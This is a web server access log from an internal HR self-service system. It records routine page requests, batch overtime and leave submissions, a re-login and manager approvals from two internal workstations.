4285 192.168.11.151 - - [04/Dec/2025:18:36:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:36:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.64 - - [04/Dec/2025:18:36:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.661512814747014 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:36:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.661512814747014 HTTP/1.1" 200 55332 192.168.12.64 - - [04/Dec/2025:18:36:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.661512814747014 HTTP/1.1" 200 57512 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.661512814747014" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:36:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.661512814747014 HTTP/1.1" 200 57512 192.168.11.151 - - [04/Dec/2025:18:36:43 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7696604329146903 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:36:43 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7696604329146903 HTTP/1.1" 200 8468 192.168.12.64 - - [04/Dec/2025:18:36:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:36:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.11.151 - - [04/Dec/2025:18:36:45 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7696604329146903 HTTP/1.1" 200 15208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7696604329146903" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:36:45 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7696604329146903 HTTP/1.1" 200 15208 192.168.12.64 - - [04/Dec/2025:18:36:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:36:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.151 - - [04/Dec/2025:18:36:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:36:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 192.168.11.151 - - [04/Dec/2025:18:36:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:36:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.64 - - [04/Dec/2025:18:37:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8659554074140456 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:37:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8659554074140456 HTTP/1.1" 200 55332 192.168.12.64 - - [04/Dec/2025:18:37:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8659554074140456 HTTP/1.1" 200 57512 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8659554074140456" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:37:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8659554074140456 HTTP/1.1" 200 57512 192.168.11.151 - - [04/Dec/2025:18:37:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5760084645327701 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:37:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5760084645327701 HTTP/1.1" 200 8468 192.168.12.64 - - [04/Dec/2025:18:37:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:37:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.11.151 - - [04/Dec/2025:18:37:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5760084645327701 HTTP/1.1" 200 15208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5760084645327701" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:37:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5760084645327701 HTTP/1.1" 200 15208 192.168.12.64 - - [04/Dec/2025:18:37:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:37:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.151 - - [04/Dec/2025:18:37:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:37:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.12.64 - - [04/Dec/2025:18:37:36 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1887144831377544 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:37:36 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1887144831377544 HTTP/1.1" 200 55332 192.168.11.151 - - [04/Dec/2025:18:37:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:37:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.64 - - [04/Dec/2025:18:37:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1887144831377544 HTTP/1.1" 200 57512 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1887144831377544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:37:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1887144831377544 HTTP/1.1" 200 57512 192.168.12.64 - - [04/Dec/2025:18:37:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:37:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.12.64 - - [04/Dec/2025:18:37:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:37:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.64 - - [04/Dec/2025:18:38:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2621245495561798 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:38:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2621245495561798 HTTP/1.1" 200 55332 192.168.12.64 - - [04/Dec/2025:18:38:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2621245495561798 HTTP/1.1" 200 57512 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2621245495561798" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:38:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2621245495561798 HTTP/1.1" 200 57512 192.168.12.64 - - [04/Dec/2025:18:38:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4073 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:38:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4073 192.168.12.64 - - [04/Dec/2025:18:38:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:38:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.64 - - [04/Dec/2025:18:38:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54265 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:38:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54265 192.168.11.151 - - [04/Dec/2025:18:38:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.22389627011256774 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:38:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.22389627011256774 HTTP/1.1" 200 8468 192.168.12.64 - - [04/Dec/2025:18:38:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 70507 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:38:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 70507 192.168.11.151 - - [04/Dec/2025:18:38:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.22389627011256774 HTTP/1.1" 200 15208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.22389627011256774" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:38:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.22389627011256774 HTTP/1.1" 200 15208 192.168.11.151 - - [04/Dec/2025:18:39:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:39:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.11.151 - - [04/Dec/2025:18:39:09 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:39:09 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.151 - - [04/Dec/2025:18:39:12 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:39:12 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:39:13 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:39:13 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.151 - - [04/Dec/2025:18:39:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:39:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.151 - - [04/Dec/2025:18:39:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:39:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12112 192.168.11.151 - - [04/Dec/2025:18:39:31 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:39:31 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 192.168.11.151 - - [04/Dec/2025:18:39:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:39:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 192.168.11.151 - - [04/Dec/2025:18:39:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 47645 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:39:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 47645 192.168.11.151 - - [04/Dec/2025:18:39:58 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:39:58 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:39:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132735%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132735&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:39:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132735%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132735&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:39:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 